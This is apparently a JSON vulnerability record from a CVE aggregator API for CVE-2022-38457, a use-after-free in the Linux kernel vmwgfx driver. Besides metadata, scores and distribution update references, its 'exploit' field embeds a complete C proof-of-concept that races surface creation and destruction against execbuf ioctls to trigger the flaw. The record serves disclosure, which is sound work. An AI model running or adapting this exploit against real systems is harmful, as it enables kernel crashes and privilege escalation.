{"api_version":"1","generated_at":"2026-04-22T23:52:08+00:00","cve":"CVE-2022-38457","urls":{"html":"https://cve.report/CVE-2022-38457","api":"https://cve.report/api/cve/CVE-2022-38457.json","docs":"https://cve.report/api","cve_org":"https://www.cve.org/CVERecord?id=CVE-2022-38457","nvd":"https://nvd.nist.gov/vuln/detail/CVE-2022-38457"},"summary":{"title":"CVE-2022-38457","description":"A use-after-free(UAF) vulnerability was found in function 'vmw_cmd_res_check' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).","state":"PUBLIC","assigner":"security@openanolis.org","published_at":"2022-09-09 15:15:00","updated_at":"2023-04-17 16:45:00"},"problem_types":["CWE-416"],"metrics":[],"references":[{"url":"https://bugzilla.openanolis.cn/show_bug.cgi?id=2074","name":"https://bugzilla.openanolis.cn/show_bug.cgi?id=2074","refsource":"MISC","tags":[],"title":"Bug Access Denied","mime":"text/html","httpstatus":"200","archivestatus":"404"},{"url":"https://www.cve.org/CVERecord?id=CVE-2022-38457","name":"CVE Program record","refsource":"CVE.ORG","tags":["canonical"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-38457","name":"NVD vulnerability detail","refsource":"NVD","tags":["canonical","analysis"]}],"affected":[],"timeline":[],"solutions":[],"workarounds":[],"exploits":[],"credits":[{"source":"LEGACY","value":"Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab","lang":""}],"nvd_cpes":[{"cve_year":"2022","cve_id":"38457","vulnerable":"1","versionEndIncluding":"","cpe1":"cpe","cpe2":"2.3","cpe3":"o","cpe4":"linux","cpe5":"linux_kernel","cpe6":"*","cpe7":"*","cpe8":"*","cpe9":"*","cpe10":"*","cpe11":"*","cpe12":"*","cpe13":"*"},{"cve_year":"2022","cve_id":"38457","vulnerable":"1","versionEndIncluding":"","cpe1":"cpe","cpe2":"2.3","cpe3":"o","cpe4":"linux","cpe5":"linux_kernel","cpe6":"6.2","cpe7":"rc1","cpe8":"*","cpe9":"*","cpe10":"*","cpe11":"*","cpe12":"*","cpe13":"*"},{"cve_year":"2022","cve_id":"38457","vulnerable":"1","versionEndIncluding":"","cpe1":"cpe","cpe2":"2.3","cpe3":"o","cpe4":"linux","cpe5":"linux_kernel","cpe6":"6.2","cpe7":"rc2","cpe8":"*","cpe9":"*","cpe10":"*","cpe11":"*","cpe12":"*","cpe13":"*"},{"cve_year":"2022","cve_id":"38457","vulnerable":"1","versionEndIncluding":"","cpe1":"cpe","cpe2":"2.3","cpe3":"o","cpe4":"linux","cpe5":"linux_kernel","cpe6":"6.2","cpe7":"rc3","cpe8":"*","cpe9":"*","cpe10":"*","cpe11":"*","cpe12":"*","cpe13":"*"},{"cve_year":"2022","cve_id":"38457","vulnerable":"1","versionEndIncluding":"","cpe1":"cpe","cpe2":"2.3","cpe3":"o","cpe4":"linux","cpe5":"linux_kernel","cpe6":"6.2","cpe7":"rc4","cpe8":"*","cpe9":"*","cpe10":"*","cpe11":"*","cpe12":"*","cpe13":"*"}],"vendor_comments":[],"enrichments":{"kev":null,"epss":null,"legacy_qids":[{"cve":"CVE-2022-38457","qid":"161066","title":"Oracle Enterprise Linux Security Update for kernel (ELSA-2023-6583)"},{"cve":"CVE-2022-38457","qid":"161147","title":"Oracle Enterprise Linux Security Update for kernel (ELSA-2023-7077)"},{"cve":"CVE-2022-38457","qid":"182348","title":"Debian Security Update for linux (CVE-2022-38457)"},{"cve":"CVE-2022-38457","qid":"242399","title":"Red Hat Update for kernel security (RHSA-2023:6583)"},{"cve":"CVE-2022-38457","qid":"242434","title":"Red Hat Update for kernel-rt security (RHSA-2023:6901)"},{"cve":"CVE-2022-38457","qid":"242451","title":"Red Hat Update for kernel security (RHSA-2023:7077)"},{"cve":"CVE-2022-38457","qid":"242941","title":"Red Hat Update for kernel (RHSA-2024:0930)"},{"cve":"CVE-2022-38457","qid":"243087","title":"Red Hat Update for kernel (RHSA-2024:1404)"},{"cve":"CVE-2022-38457","qid":"754833","title":"SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:3599-1)"},{"cve":"CVE-2022-38457","qid":"754855","title":"SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:3656-1)"},{"cve":"CVE-2022-38457","qid":"754884","title":"SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:3704-1)"},{"cve":"CVE-2022-38457","qid":"754899","title":"SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:3599-2)"},{"cve":"CVE-2022-38457","qid":"754901","title":"SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:3704-2)"},{"cve":"CVE-2022-38457","qid":"755037","title":"SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:3971-1)"},{"cve":"CVE-2022-38457","qid":"755043","title":"SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:3988-1)"},{"cve":"CVE-2022-38457","qid":"903891","title":"Common Base Linux Mariner (CBL-Mariner) Security Update for kernel (10902)"},{"cve":"CVE-2022-38457","qid":"903900","title":"Common Base Linux Mariner (CBL-Mariner) Security Update for kernel (10952)"},{"cve":"CVE-2022-38457","qid":"941453","title":"AlmaLinux Security Update for kernel (ALSA-2023:7077)"}]},"source_records":{"cve_program":{"CVE_data_meta":{"AKA":"Anolis","ASSIGNER":"security@openanolis.org","DATE_PUBLIC":"2022-09-06T07:00:00.000Z","ID":"CVE-2022-38457","STATE":"PUBLIC","TITLE":"There is an UAF vulnerability in vmwgfx driver"},"affects":{"vendor":{"vendor_data":[{"product":{"product_data":[{"product_name":"kernel","version":{"version_data":[{"version_affected":">=","version_name":"5.13.0-52","version_value":"v4.20-rc1"}]}}]},"vendor_name":"Linux"}]}},"credit":[{"lang":"eng","value":"Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"}],"data_format":"MITRE","data_type":"CVE","data_version":"4.0","description":{"description_data":[{"lang":"eng","value":"A use-after-free(UAF) vulnerability was found in function 'vmw_cmd_res_check' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."}]},"exploit":[{"lang":"eng","value":"#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <errno.h>\n\n#include <linux/if_tun.h>\n#include <net/if.h>\n#include <sys/ioctl.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <sys/socket.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys/ioctl.h>\n#include <errno.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <stdio.h>\n#include <sys/types.h>\n#include <stdint.h>\n#include <netinet/ip.h>\n#include <sys/resource.h>\n#include <sys/syscall.h>\n#include <limits.h>\n#include <sys/mman.h>\n\n#include <linux/fs.h>\nint sid =0;\nint fd = 0;\nint handle=0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int handle,int sid){   \nint cmd[0x1000]={0};\ncmd[0]=1044;\ncmd[1]=0x50;\ncmd[2]=handle;\ncmd[3]=0;\ncmd[5]=sid;\ncmd[6]=0;\ncmd[7]=0;\ncmd[13]=1;\ncmd[12]=0;\ncmd[14]=1;\ncmd[19]=12;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=1;  \n                if (ioctl(fd, 0x4028644C, &arg) == -1)\n                {\n                        printf(\"poc failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, &arg) == -1)\n                {\n                        printf(\"alloc_bo failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, &arg) == -1)\n                {\n                        printf(\"create_surface failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\n\nvoid destory_surface(int sid){\n\nint arg[0x10]={0};\narg[0]=sid;\nif (ioctl(fd, 0x4008644A, &arg) == -1)\n                {\n                        printf(\"destory_surface failed: %s\\n\", strerror(errno));\n                        return -1;\n                }       \n}\nvoid thread1(){\nwhile(1){\nsid = create_surface(); \ndestory_surface(sid); \n}\n}\nvoid thread2(){\nwhile(1){\npoc(handle,sid);  \n}\n\n}\n\n\nint main(int ac, char **argv)\n{\n pthread_t tid1,tid2;\n\n    \n\ninit();\nhandle=alloc_bo();\n        if(pthread_create(&tid1,NULL,thread1,NULL)){\n                perror(\"thread_create\");\n        }\n\n\t\n              if(pthread_create(&tid2,NULL,thread2,NULL)){\n                perror(\"thread_create\");\n        }\n        \n        while(1){\n        sleep(3);\n        \n        }\n}\n  \n"}],"generator":{"engine":"Vulnogram 0.0.9"},"impact":{"cvss":{"attackComplexity":"LOW","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":6.3,"baseSeverity":"MEDIUM","confidentialityImpact":"NONE","integrityImpact":"LOW","privilegesRequired":"LOW","scope":"UNCHANGED","userInteraction":"REQUIRED","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H","version":"3.1"}},"problemtype":{"problemtype_data":[{"description":[{"lang":"eng","value":"CWE-416 Use After Free"}]}]},"references":{"reference_data":[{"refsource":"MISC","url":"https://bugzilla.openanolis.cn/show_bug.cgi?id=2074","name":"https://bugzilla.openanolis.cn/show_bug.cgi?id=2074"}]},"source":{"defect":["https://bugzilla.openanolis.cn/show_bug.cgi?id=2074"],"discovery":"INTERNAL"}},"nvd":{"publishedDate":"2022-09-09 15:15:00","lastModifiedDate":"2023-04-17 16:45:00","problem_types":["CWE-416"],"metrics":{"baseMetricV3":{"cvssV3":{"version":"3.1","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","attackVector":"LOCAL","attackComplexity":"LOW","privilegesRequired":"LOW","userInteraction":"NONE","scope":"UNCHANGED","confidentialityImpact":"NONE","integrityImpact":"NONE","availabilityImpact":"HIGH","baseScore":5.5,"baseSeverity":"MEDIUM"},"exploitabilityScore":1.8,"impactScore":3.6}},"configurations":{"CVE_data_version":"4.0","nodes":[{"operator":"OR","children":[],"cpe_match":[{"vulnerable":true,"cpe23Uri":"cpe:2.3:o:linux:linux_kernel:6.2:rc1:*:*:*:*:*:*","cpe_name":[]},{"vulnerable":true,"cpe23Uri":"cpe:2.3:o:linux:linux_kernel:6.2:rc2:*:*:*:*:*:*","cpe_name":[]},{"vulnerable":true,"cpe23Uri":"cpe:2.3:o:linux:linux_kernel:6.2:rc3:*:*:*:*:*:*","cpe_name":[]},{"vulnerable":true,"cpe23Uri":"cpe:2.3:o:linux:linux_kernel:6.2:rc4:*:*:*:*:*:*","cpe_name":[]},{"vulnerable":true,"cpe23Uri":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"4.20","versionEndExcluding":"6.1.7","cpe_name":[]}]}]}},"legacy_mitre":{"record":null,"notes":[]}}}